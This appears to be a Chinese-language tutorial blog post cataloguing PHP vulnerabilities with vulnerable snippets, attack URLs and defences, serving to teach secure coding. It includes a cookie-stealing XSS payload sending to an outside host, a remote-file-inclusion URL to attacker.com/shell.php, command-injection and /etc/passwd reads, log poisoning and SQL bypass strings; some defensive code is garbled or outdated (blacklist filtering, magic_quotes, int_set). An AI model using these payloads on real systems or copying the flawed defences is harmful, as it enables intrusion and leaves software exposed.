PHP常见漏洞与代码防御

1. Cross  Site  Scripting  (XSS)

跨站脚本( XSS )属于 WEB 程序中的一类计算机安全漏洞,它允许在用户浏览的网页中注入恶意代码,比如 HTML 代码和客户端脚本。这类漏洞可被用于构造钓鱼攻击和浏览器攻击。
攻击:
攻击者在其请求中注入 HTML 代码。

//Exp 1:
<?php
$error_message = $_GET [ ‘error’ ];
print $error_message ;
?>

index.php?error=<script>window.location=”www.getyourcookies.cc?C=”.document.cookie
</script>

把这段代码分布到论坛或者其他地方,即可通过 C 获取别人的 cookies
.
防御:

<?php
$error_message = $_GET [ ‘error’ ];
print s htmlspecialchars ( $error_message );
?>

使用 htmlspecialchars 函数来将特殊字符转换成 HTML 编码
& (和号) 成为 &amp;
” (双引号) 成为 &quot;
‘ (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

2. SQL  Injection 

SQL 注入是利用 WEB 程序数据层的安全漏洞进行代码注入的技术。当用户输入的数据中并未对嵌入的 SQL 声明语句进行正确过滤时,或者用户并没有被严格地限制输入,从而导致恶意代码被执行,就有可能造成 SQL 注入漏洞。这是一类很普遍的安全漏洞,它可在任何时候发生于被嵌入的编程或脚本语言之中。

Example 1:
#login.php :
<?
//login.php — SQL Injection Vulnerable page
//Attack and defence php apps book
//shahriyar – j
$user = $_POST [ ‘user’ ];
$pass = $_POST [ ‘pass’ ];
$link = mysql_connect ( ‘localhost’ , ‘root’ , ‘pass’ ) or die( ‘Error: ‘ . mysql_e
rror ());
mysql_select_db ( “sql_inj” , $link );
$query = mysql_query ( “SELECT * FROM sql_inj WHERE user ='” . $user . “‘ AND pass ='” .
$pass . “‘” , $link );
if ( mysql_num_rows ( $query ) == 0 ) {
echo “<scripttype=\”text/javascript\”>window.location.href=’http://somoker.blog.163.com/blog/index.html’;</sc
ript>” ;
exit;
}
$logged = 1 ;
?>

当用户(可能为攻击者)发送 $_POST [ ‘user’ ] , $_POST [ ‘pass’ ] 给 login.php 时,这
些变量直接存储在 SQL 请求命令中。如果攻击者发送:
$user = 1′ OR ‘1’ = ‘1
$pass = 1’ OR ‘1’ = ‘1
将会绕过 login.php 的登陆验证

防御:
下面是通用的防注入代码:

<?php
$title = $_POST [ ‘title’ ]; // user input from site
$description = $_POST [ ‘description’ ]; // user input from site
// define the cleaner
f $dirtystuff = = ( array( ” “\”” , , ” “\\” , , ” “/” , , ” “*” , , ” “‘” , , ” “=” , ,  “-
” ” , , ” “#” , , ” “;” , , ” “<” , , ” “>” , , ” “+” , , ” “%”  );
// clean user input (if it finds any of the values above, it will replace it with
whatever is in the quotes – in this example, it replaces the value with nothing)
$title = str_replace ( $dirtystuff , “” , $title ); // works!
$description = str_replace ( $dirtystuff , “” , $description ); // works!
// input: I\ “like/ green< ** veg’et=a-bles> ;and< pizza**
// output: I like green vegetables and pizza
// input: a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%
// output: aDROP TABLE users SELECT FROM data WHERE name LIKE?>
mysql_real_escape_string

3. HTTP  Response  Splitting 

HTTP 响应拆分是由于攻击者经过精心设计利用电子邮件或者链接, 让目标用户利用一个请求产生两个响应,前一个响应是服务器的响应,而后一个则是攻击者设计的响应。回车换行符是响应之间的分界符。所以只要我们 URL 中加入\n\r,那么第二轮响应即会启动,且根据 HTTP 协议的规定这是完全正常的
可能遭受 HTTP 请求响应拆分的函数包括以下几个:
header(); setcookie(); session_id(); setrawcookie();
HTTP 响应拆分通常发生在:Location 表头:将使用者的数据写入重定向的 URL 地址内
Set-Cookie 表头:将使用者的数据写入 cookies 内

Example 1:
<?php
redirect_page = $_GET [ ‘page’ ];
header ( “Location: ” . redirect_page );
?>

首先,我们知道 HTTP 协议的工作方式是一个请求对应一个响应
攻击者发送一条包含一个值及两次响应的请求,使用%0d%0a 进行分隔。如:
http://localhost/test.php?page=http://localhost/test2.php%0d%0aContent-Length:
%200%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Mod
ified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMTContent-Length:%20
33%0d%0a%0d%0a%3Chtml%3EHacked%20by%20anonymous%21%3C%2fhtml%3E

对于 http://localhost/test2.php,我们并不关心其响应本身及内容,只需将
Content-Length:0 充当响应头,紧接着一次回车换行(CRLF),然后输入构造好的第二
次响应,如:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 20
Hacked by anonymous!

这样攻击者就发送了一个将产生两次响应的请求,由于第二次响应还没有与之对应的请
求,它将暂时挂起。
为了处理第二个挂起的响应,攻击者会立即向服务器发送一条有效的公开访问请求,比如
index.php。

GET /index.php HTTP/1.1
Host: localhost

这时第二次响应启动,攻击完成。
测试时只是给出了 Hcaked by anonymous!这样一个警告页面,攻击者完全可以通过精心
构造 javascript 代码,从而实现跨站(XSS)和跨站请求伪造(CSRF)等攻击。

防御:
1.
<?php
header(“ Location: ” . strtr($_GET[‘page’], array( “\r” => ”” , “ \n” => ”” )));
?>

2.使用最新版本的 PHP(已经不允许在 HTTP 表头中出现换行字符)。

4.动态赋值漏洞

1.当使用动态函数加载时,可通过请求来执行指定的函数,导致攻击者可以执行任意函数。
攻击:

<?php
$myfunc = $_GET [ ‘myfunc’ ];
$myfunc ();
?>

Index.php?myfunc=phpinfo

2.全局函数漏洞
Register Global 是危险的“ PHP 扩展”:
当其打开时, register_globals 可利用各种变量注入脚本代码,比如来自 HTML 表单的请求 。
这种漏洞主要与 PHP 变量未初始化相关,以致轻而易举地即可向其写入恶意代码。
下面演示一个未使用 register_globals 的例子:

Admin.php
<?php
if (isset( $is_admin )) {
//Yes, I’m the admin so call the Administration Pannel
[…]
} else {
//No, I’m not the admin
[…]
}
?>

# admin.php?is_admin=1

防御:
任何时候,任何情况下, Register Global 都应该关闭!

5. 进程控制 /PHP 代码注入

当我们使用下列函数:“ PHP 进程执行函数 & 进程控制”,并且用户可以输入变量(见上面) ,那么将导致任意的 PHP 代码被执行。
PHP 进程控制列表:
Exec
system
passthru
shell_exec
proc_open
pcntl_exec

Example 1:
<?php
$page = $_GET [ ‘page’ ];
system ( $page );?>
# index.php?page= ls /etc/passwd | uname –a
?>

防御:
1、尽量不要执行外部命令,使用自定义函数或函数库来替代外部命令的功能
2、使用 escapeshellarg 函数来处理命令参数
3、使用 safe_mode_exec_dir 指定可执行文件的路径

6. 本地 / 远程文件包含

本地或者远程文件包含是 PHP 代码审计中的高危漏洞,攻击者可利用它加载本地或者远程文件到 PHP WEB 页面。
危险函数:
include
include_once
require
require_once
show_source
highlight_file
readfile
file_get_contents
fopen
file

本地文件包含:

<?php
$query=$_GET[‘p’];
Include($query);
?>

在本地文件包含( LFI )攻击中,攻击者可读取对方主机中的任何日志文件和本地文件。也许这种文件浏览并不能造成多大危害,但攻击者可先构造一个错误,然后该错误会被记录在服务 器上的日志文件中 (apache log / error log 等等 ) 。当攻击者向目标主机请求一个未
存在的文件时:
index.php?p=<?php;phpinfo();?>
然后加载 error_log,就执行了 <?php;phpinfo();?> ,这段 php 代码就是自己定了。可以写任意恶意代码

远程文件包含:
远程文件包含攻击允许恶意用户在存在漏洞的主机上运行自己的 PHP 代码,攻击者可包含存放在网上空间中用 PHP 编写的网页(恶意)代码。因此攻击者可以注入本地的恶意文件到 URL中,并在目标服务器上执行:
index.php?p=http://attacker.com/shell.php%00

防御:
对 输入数据进行精确匹配(或者白名单方式),比如根据变量的值确定语言 en.php、cn.php, 那么这两个文件放在同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是 en 或者 cn 是最严格的,检查是否只包含字母也不错

7. 理文件管理

有些 PHP 函数可用于文件管理,如果偷懒的程序员没有对输入变量进行很好地检测,那么就可能造成这种高危漏洞。
我们应该在程序中注意如下函数: copy、 rmdir、 unlink、 delete、 fwrite、 chmod、 fgetc、 fgetcsv 、
fgets、 fgetss、 file、 file_get_contents、 fread、 readfile、 ftruncate、 file_put_contents 、
fputcsv、fputs,但通常 PHP 中每一个文件操作函数都可能是危险的

Copy 函数 :

<?php
$file = $_GET [ ‘cpFile’ ];
$newfile = “/user/local/www/html/tmp/file.php” ;
if (! copy ( $file , $newfile )) {
echo “failed to copy $file…\n” ;
} else {
echo ” thanks ..”
}
?>

攻击者可以复制其它文件,比如 ‘/etc/passwd’ into ‘$newfile’ ,然后读取它。
http://victim.com/index.php?cpfile=/etc/passwd

防御:
对提交数据进行严格匹配,限定文件可操作的目录

8. Cookie  / Session  injection
   session  fixation (会话固定攻击)

任何促使受害用户使用攻击者提供的 SESSION ID 的方法都可以称之为 SESSION 伪造攻击,最简单的例子就是在一个链接中嵌入 SESSION 标识符:

<a href=”http://www.wemvc.com/login.php?PHPSESSIONID=123123″>登录</a>

受害者点击了这个链接后将会把 SESSION ID 设置为 123123.而且如果受害者在这个时候继续登录,攻击者就能够劫持他的 SESSION 用来提升自己的权限级别.甚至在购物类型网站中盗取他人帐户钱财.

防御:
为了阻止这类攻击,在用户登陆后有效,或者要不然就是获得高权限后才有用。因此,如果当权
限级别改变时(例如核实用户名和密码后),我们就应该修改即将重新生成的会话 ID ,这
样我们才能真正地消除被 session fixation 攻击的风险。
( 会话劫持( n Session g Hijacking  )
话劫持是指攻击者利用各种手段来获取目标用户的 session id。一旦获取到 session id,那么
攻击者可以利用目标用户的身份来登录网站,获取目标用户的操作权限。
攻击者获取目标用户 session id 的方法:
1)暴力破解:尝试各种 session id,直到破解为止。
2)计算:如果 session id 使用非随机的方式产生,那么就有可能计算出来
3)窃取:使用网络截获,xss 攻击等方法获得

防御:
1)定期更改 session id
函数 bool session_regenerate_id([bool delete_old_session])
delete_old_session 为 true,则删除旧的 session 文件;为 false,则保留旧的 session,默认
false,可选
在 index.php 开头加上
session_start();
session_regenerate_id(TRUE);
这样每次从新加载都会产生一个新的 session id
2)关闭透明化 session id
透明化 session id 指当浏览器中的 http 请求没有使用 cookies 来制定 session id 时,sessioin
id 使用链接来传递;打开 php.ini,编辑 session.use_trans_sid = 0
或者代码中
int_set(“session.use_trans_sid”, 0);
session_start();
4)只从 cookie 检查 session id
session.use_cookies = 1 表示使用 cookies 存放 session id
session.use_only_cookies = 1 表示只使用 cookies 存放 session id,这可以避免 session 固
定攻击
代码中
int_set(“session.use_cookies”, 1);
int_set(“session.use_only_cookies”, 1); p>
5)使用 URL 传递隐藏参数
session_start();
$seid = md5(uniqid(rand()), TRUE));
$_SESSION[“seid”] = $seid;
攻击者虽然能获取 session 数据,但是无法得知$seid 的值,只要检查 seid 的值,就可以确认当
前页面是否是 web 程序自己调用的。

9. 拒绝服务

WEB 程序特别容易受到拒绝服务攻击。一个 WEB 程序很难讲清恶意数据传输与普通数据传输之间的不同。由于多种原因 ,IP 地址不能作为可行的鉴定证书。由于没有一种可靠的方式可以得知 HTTP request 来自哪里,这就导致很难过滤掉一些恶意的数据传输。
非常遗憾,目前没有哪个网络可以免受 DDoS 攻击

10.  XPath  注入  [XML 函数]

主要包括 LDAP 注入和 XPath 注入。 ‘XPath injection’ 与 SQL 注入攻击相似,但它的攻击目标是 XML document ,而非 SQL 数据库。 ‘XPath Injection’ 是用于攻击 WEB 站点的攻击技术,用于构造来自用户提供的 XPath 请求。
例如:
<?php
$test = $_GET [ ‘test’ ];
if ( $test ){
$xml = simplexml_load_file ( “1.xml” );
$result = $xml -> xpath ( $test );
print_r ( $result );
}
?>

1.xml :
<?xml version=”1.0″ encoding=”UTF-8″?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don’t forget me this weekend!</body>
</note>

Good y Query : :
Index.php?test=from
Good t Result :
Array ( [0] => SimpleXMLElement Object ( [0] => Jani ) )
Bad y Query : :
Index.php?test=*
Good t Result r For S US ! ! : :
Array ( [0] => SimpleXMLElement Object ( [0] => Tove ) [1] => SimpleXMLElement Object
( [0] => Jani
) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0]
=>Don’t forget me this weekend! ) )
这是一个存在漏洞的 PHP 程序!
防御:
对于数据进行精确匹配(白名单)

11.文件上传

当允许文件上传到你的系统时,你就得承担一定的风险,因为文件可能并非它所显示出来的那样(伪装为图片以上传 PHP 脚本,并将其移动到他们可以运行它的地方等等)。如果你的站点不需要上传文件,那么禁止它将可以防止因疏忽造成的错误而被上传恶意文件。
Example 1  : 下列代码用于处理上传的文件,它将文件移动到 WEB 根目录下。攻击者可以上传恶意 PHP 源文件给该程序以及来自服务端的后续请求, 这将导致它们被 PHP 解释器执行 (查找 S $_FILES 函数 )。
<?php
$udir = ‘./’ ; // Relative path under Web root
$ufile = $udir . basename ( $_FILES [ ‘userfile’ ][ ‘name’ ]);
if ( move_uploaded_file ( $_FILES [ ‘userfile’ ][ ‘tmp_name’ ], $ufile )) {
echo “Valid upload received\n” ;
} else {
echo “Invalid upload rejected\n” ;
} ?>

防御:
使用白名单方式检测文件后缀
上传之后按时间等算法生成文件名称
上传目录脚本文件不可执行

12.  不安全的随机命名 Session / Cookie 备份文件

在命名 session & cookie & 备份文件时,将其随机化,可能会出卖它们。
例如:
<?php
$rnd = rand ( 1 , 100 );
$fp = fopen ( $rnd . ‘_backup_.sql’ , ‘w’ );
fwrite ( $fp , $db );
fclose ( $fp );
?>

本 例中:将备份文件写入到 “$rand_backup_.sql” 中。在代码第 2 行中,我们可以看到 $rand参数,它随机生成 1-100 之间的任意数。攻击者可写入代码以暴力破解文件名。因此当我们在生成 Session & Cookie 的时候,应当谨慎地使用随机函数。

13. 弱口令

你必须检查一下:
– 你在数据库中使用未加密的明码。
– 加密密码(例如: MD5 ),但还不够安全。
– 保存密码在 [.txt, .ini, .xml…] 等文件中,这些文件都有可能被攻
击者读取到。
– 使用弱口令。

14.  信息泄露

phpinfo
如果攻击者可以浏览到程序中调用 phpinfo 显示的环境信息,会为进一步攻击提供便利

15. PHP 环境

open_basedir 设置
open_basedir 能限制应用程序能访问的目录,检查有没有对 open_basedir 进行设置,当然有的通过 web 服务器来设置

allow_url_fopen 设置
如果 allow_url_fopen=ON,那么 php 可以读取远程文件进行操作,这个容易被攻击者利用

allow_url_include 设置
如果 allow_url_include=ON,那么 php 可以包含远程文件,会导致严重漏洞

safe_mode_exec_dir 设置
这个选项能控制 php 可调用的外部命令的目录,如果 PHP 程序中有调用外部命令,那么指定外部命令的目录,能控制程序的风险

magic_quote_gpc 设置
这个选项能转义提交给参数中的特殊字符,建议设置 magic_quote_gpc=ON

register_globals 设置
开启这个选项,将导致 php 对所有外部提交的变量注册为全局变量,后果相当严重

safe_mode 设置
php 的安全模式是个非常重要的内嵌的安全机制,能够控制一些 php 中的函数,比如 system() ,
同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如
/etc/passwd,
但是默认的 php.ini 是没有打开安全模式的,我们把它打开:
safe_mode = on

session_use_trans_sid 设置
如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID ,这样一来,攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

display_errors 设置
如果启用此选项,PHP 将输出所有的错误或警告信息,攻击者能利用这些信息获取 web根路径等敏感信息

expose_php 设置

如果启用 expose_php 选项,那么由 PHP 解释器生成的每个响应都会包含主机系统上所安
装的 PHP 版本。了解到远程服务器上运行的 PHP 版本后,攻击者就能针对系统枚举已知的盗
取手段,从而大大增加成功发动攻击的机会。

共有 1 条评论

  1. 格宾网箱

    好文章,内容层次清晰.禁止此消息:[email protected]

Top